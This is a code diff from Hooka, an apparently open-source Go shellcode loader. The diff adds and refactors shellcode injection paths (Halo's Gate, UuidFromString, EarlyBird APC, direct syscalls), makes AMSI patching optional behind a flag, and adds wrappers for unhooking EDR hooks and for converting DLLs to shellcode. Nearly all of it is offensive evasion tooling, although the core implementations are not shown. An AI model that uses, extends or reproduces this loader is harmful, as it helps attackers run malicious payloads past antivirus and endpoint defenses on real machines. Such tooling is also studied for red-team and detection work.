|
||||
@@ -146,10 +155,19 @@ func main() {
|
||||
l.Println("[*] Injecting shellcode using " + technique + " function")
|
||||
}
|
||||
|
||||
err = core.InjectWithTechnique(shellcode, technique) // Inject shellcode
|
||||
if err != nil { // Handle error
|
||||
l.Fatal(err)
|
||||
if (halos) { // Check if --halos flag was used
|
||||
err := core.InjectHalos(shellcode, technique)
|
||||
if err != nil {
|
||||
l.Fatal(err)
|
||||
}
|
||||
|
||||
} else {
|
||||
err = core.Inject(shellcode, technique) // Inject shellcode w/o halo's gate
|
||||
if err != nil { // Handle error
|
||||
l.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
l.Println("[+] Shellcode should have been executed without errors!\n")
|
||||
|
||||
@@ -207,14 +225,16 @@ func main() {
|
||||
time.Sleep(300 * time.Millisecond)
|
||||
}
|
||||
|
||||
l.Println("[*] Patching AMSI by overwriting function memory address...")
|
||||
time.Sleep(200 * time.Millisecond)
|
||||
err = core.PatchAmsi()
|
||||
if err != nil {
|
||||
l.Println("[-] An error has ocurred while overwriting memory!")
|
||||
l.Fatal(err)
|
||||
if (amsi) {
|
||||
l.Println("[*] Patching AMSI by overwriting AmsiScanBuffer memory address...")
|
||||
time.Sleep(200 * time.Millisecond)
|
||||
err = core.PatchAmsi()
|
||||
if err != nil {
|
||||
l.Println("[-] An error has ocurred while overwriting memory!")
|
||||
l.Fatal(err)
|
||||
}
|
||||
time.Sleep(200 * time.Millisecond)
|
||||
}
|
||||
time.Sleep(300 * time.Millisecond)
|
||||
|
||||
// Unhook function(s)
|
||||
if (unhook == 1) {
|
||||
@@ -254,10 +274,20 @@ func main() {
|
||||
l.Println("[*] Injecting shellcode using " + technique + " technique")
|
||||
}
|
||||
|
||||
err = core.InjectWithTechnique(shellcode, technique) // Inject shellcode
|
||||
if err != nil { // Handle error
|
||||
l.Fatal(err)
|
||||
if (halos) { // Check if --halos flag was used
|
||||
err := core.InjectHalos(shellcode, technique)
|
||||
if err != nil {
|
||||
l.Fatal(err)
|
||||
}
|
||||
|
||||
} else {
|
||||
err = core.Inject(shellcode, technique) // Inject shellcode w/o halo's gate
|
||||
if err != nil { // Handle error
|
||||
l.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
l.Println("[+] Shellcode should have been executed without errors!\n")
|
||||
|
||||
} else if (sc_url == "") && (sc_file == "") && (dll_file != "") {
|
||||
@@ -290,7 +320,7 @@ func main() {
|
||||
}
|
||||
time.Sleep(300 * time.Millisecond)
|
||||
|
||||
l.Println("[*] Converting " + dll_filename + " to position independant shellcode")
|
||||
l.Println("[*] Converting " + dll_filename + " to shellcode")
|
||||
shellcode, err := core.ConvertDllToShellcode(dll_filename, dll_func, "") // Convert DLL to shellcode
|
||||
if err != nil { // Handle error
|
||||
l.Fatal(err)
|
||||
@@ -299,14 +329,16 @@ func main() {
|
||||
l.Println("[+] Process finished successfully!")
|
||||
time.Sleep(200 * time.Millisecond)
|
||||
|
||||
l.Println("[*] Patching AMSI by overwriting function memory address...")
|
||||
time.Sleep(200 * time.Millisecond)
|
||||
err = core.PatchAmsi()
|
||||
if err != nil {
|
||||
l.Println("[-] An error has ocurred while overwriting memory!")
|
||||
l.Fatal(err)
|
||||
if (amsi) {
|
||||
l.Println("[*] Patching AMSI by overwriting AmsiScanBuffer memory address...")
|
||||
time.Sleep(200 * time.Millisecond)
|
||||
err = core.PatchAmsi()
|
||||
if err != nil {
|
||||
l.Println("[-] An error has ocurred while overwriting memory!")
|
||||
l.Fatal(err)
|
||||
}
|
||||
time.Sleep(200 * time.Millisecond)
|
||||
}
|
||||
time.Sleep(300 * time.Millisecond)
|
||||
|
||||
// Unhook function(s)
|
||||
if (unhook == 1) {
|
||||
@@ -346,10 +378,19 @@ func main() {
|
||||
l.Println("[*] Injecting shellcode using " + technique + " technique")
|
||||
}
|
||||
|
||||
err = core.InjectWithTechnique(shellcode, technique) // Inject shellcode
|
||||
if err != nil { // Handle error
|
||||
l.Fatal(err)
|
||||
if (halos) {
|
||||
err = core.InjectHalos(shellcode, technique)
|
||||
if err != nil {
|
||||
l.Fatal(err)
|
||||
}
|
||||
|
||||
} else {
|
||||
err = core.Inject(shellcode, technique) // Inject shellcode w/o halo's gate
|
||||
if err != nil { // Handle error
|
||||
l.Fatal(err)
|
||||
}
|
||||
}
|
||||
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
l.Println("[+] Shellcode should have been executed without errors!\n")
|
||||
|
||||
@@ -380,10 +421,25 @@ func main() {
|
||||
|
||||
} else if (sc_url == "") && (sc_file == "") && (!hook_detect) && (test_flag) {
|
||||
|
||||
l.Println("\n[*] Testing shellcode injection with calc.exe shellcode")
|
||||
l.Println("\n[*] Testing with calc.exe shellcode")
|
||||
time.Sleep(200 * time.Millisecond)
|
||||
|
||||
err := core.InjectWithTechnique(core.CalcShellcode(), technique) // Inject calc.exe shellcode
|
||||
if (amsi) {
|
||||
l.Println("[*] Patching AMSI by overwriting AmsiScanBuffer memory address...")
|
||||
time.Sleep(200 * time.Millisecond)
|
||||
err = core.PatchAmsi()
|
||||
if err != nil {
|
||||
l.Println("[-] An error has ocurred while overwriting memory!")
|
||||
l.Fatal(err)
|
||||
}
|
||||
time.Sleep(200 * time.Millisecond)
|
||||
}
|
||||
|
||||
if (technique != "") {
|
||||
l.Println("[*] Injecting shellcode using " + technique + " technique")
|
||||
}
|
||||
|
||||
err := core.Inject(core.CalcShellcode(), technique) // Inject calc.exe shellcode
|
||||
if err != nil { // Handle error
|
||||
l.Fatal(err)
|
||||
}
|
||||
|
||||
@@ -0,0 +1,7 @@
|
||||
package hooka
|
||||
|
||||
import "github.com/D3Ext/Hooka/core"
|
||||
|
||||
func ConvertDllToShellcode(dll_file string, dll_func string, func_args string) ([]byte, error) {
|
||||
return core.ConvertDllToShellcode(dll_file, dll_func, func_args)
|
||||
}
|
||||
@@ -0,0 +1,8 @@
|
||||
package hooka
|
||||
|
||||
import "github.com/D3Ext/Hooka/core"
|
||||
|
||||
func GetSysId(funcname string) (uint16, error) {
|
||||
return core.GetSysId(funcname)
|
||||
}
|
||||
|
||||
@@ -1,12 +1,8 @@
|
||||
package hooka
|
||||
|
||||
import (
|
||||
"golang.org/x/sys/windows"
|
||||
import "github.com/D3Ext/Hooka/core"
|
||||
|
||||
"github.com/D3Ext/Hooka/core"
|
||||
)
|
||||
|
||||
func FuncFromHash(hash string, dll string) (*windows.LazyProc, string, error) {
|
||||
func FuncFromHash(hash string, dll string) (uint16, string, error) {
|
||||
return core.FuncFromHash(hash, dll)
|
||||
}
|
||||
|
||||
|
||||
@@ -1,8 +0,0 @@
|
||||
package hooka
|
||||
|
||||
import "github.com/D3Ext/Hooka/core"
|
||||
|
||||
func HellsGate(funcname string) (error) {
|
||||
return core.HellsGate(funcname)
|
||||
}
|
||||
|
||||
@@ -18,4 +18,18 @@ func EarlyBirdApc(shellcode []byte) (error) {
|
||||
return core.EarlyBirdApc(shellcode)
|
||||
}
|
||||
|
||||
func UuidFromString(shellcode []byte) (error) {
|
||||
return core.UuidFromString(shellcode)
|
||||
}
|
||||
|
||||
/*
|
||||
|
||||
Hell's Gate + Halo's Gate functions (WIP)
|
||||
|
||||
*/
|
||||
|
||||
func CreateProcessHalos(shellcode []byte) (error) {
|
||||
return core.CreateProcessHalos(shellcode)
|
||||
}
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,16 @@
|
||||
package hooka
|
||||
|
||||
import "github.com/D3Ext/Hooka/core"
|
||||
|
||||
func Syscall(callid uint16, argh ...uintptr) (uint32, error) {
|
||||
return core.Syscall(callid, argh...)
|
||||
}
|
||||
|
||||
func Execute(shellcode []byte) (error) {
|
||||
return core.Execute(shellcode)
|
||||
}
|
||||
|
||||
func WriteMemory(inbuf []byte, destination uintptr) {
|
||||
core.WriteMemory(inbuf, destination)
|
||||
}
|
||||
|
||||
+1
-1
@@ -3,7 +3,7 @@ package hooka
|
||||
import "github.com/D3Ext/Hooka/core"
|
||||
|
||||
func ClassicUnhook(funcname string, dllpath string) (error) {
|
||||
return core.Unhook(funcname, dllpath)
|
||||
return core.ClassicUnhook(funcname, dllpath)
|
||||
}
|
||||
|
||||
func FullUnhook(dllpath string) (error) {
|
||||
|
||||
Reference in New Issue
Block a user